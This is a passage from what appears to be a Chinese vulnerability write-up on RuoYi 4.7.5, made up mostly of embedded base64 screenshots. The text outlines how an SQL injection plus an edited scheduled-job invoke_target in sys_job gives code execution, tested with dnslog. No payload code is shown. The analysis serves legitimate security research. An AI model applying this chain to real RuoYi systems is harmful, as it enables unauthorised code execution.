QQgghpCLqRiDeLFgJxJViLSiWIDuKLsemxE6QhZupg2sn2BQtp0a4y9M2ZBAIa0CF9Zwd7ZL9hmtcjpICONl0UCAmhBBCyEagjkymyXqSPDWI+fAkZqol3yRPyVra0zUSmJr6MJMrZ7/ktaXSem7qO42hqVa0Cr6amQznzZxFCsOEEEIIIWRjQYF4k5H31WwbwsKMGwFLNt8dL3JFeNLCh3aTUn49G2lS/GlrR6eYQ66GzyeEEEIIIWStoMn0OlM3JtMNyGYpJyGNAE2mCSGEELIRqK9tlwghhBBCCCGEkHWCJtMbEKMmdSMi7fiNWmeBEEIIIYQQ0uBQQ7wBeOeuT9Y6C+vOu80ttc4CIYQQQgghpMGhQLwBeOt/+0Kts7DuvPmlo7XOAiGEEEIIIaTBsQ2qdenSpfXOy6ah2kG1AOCGv53Be/7H17BleQmeV1+pevr1wjt3fRJvfuko3vndu2udFUI2NRwjCCGEELLine truncated
|
||||
<p blockindex=97>结合4.7.5 版本下的sql注入漏洞,直接修改表中的数据<br>
|
||||
参考:<a href=https://gitee.com/y_project/RuoYi/issues/I65V2B>https://gitee.com/y_project/RuoYi/issues/I65V2B</a></p>
|
||||
<p blockindex=98>在<code>com.ruoyi.generator.controller.GenController#create</code></p>
|
||||
<p blockindex=99><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=100>这块直接调用了<code>genTableService.createTable()</code>,咱直接跟进去看看</p>
|
||||
<p blockindex=101><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=102>Mapper语句:</p>
|
||||
<p blockindex=103><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=104>接下来创建一个定时任务调用这个类,直接从sys_job表中把某一个定时任务调用目标字符串(invoke_target字段)改了</p>
|
||||
<p blockindex=105>先谈个dnslog试试</p>
|
||||
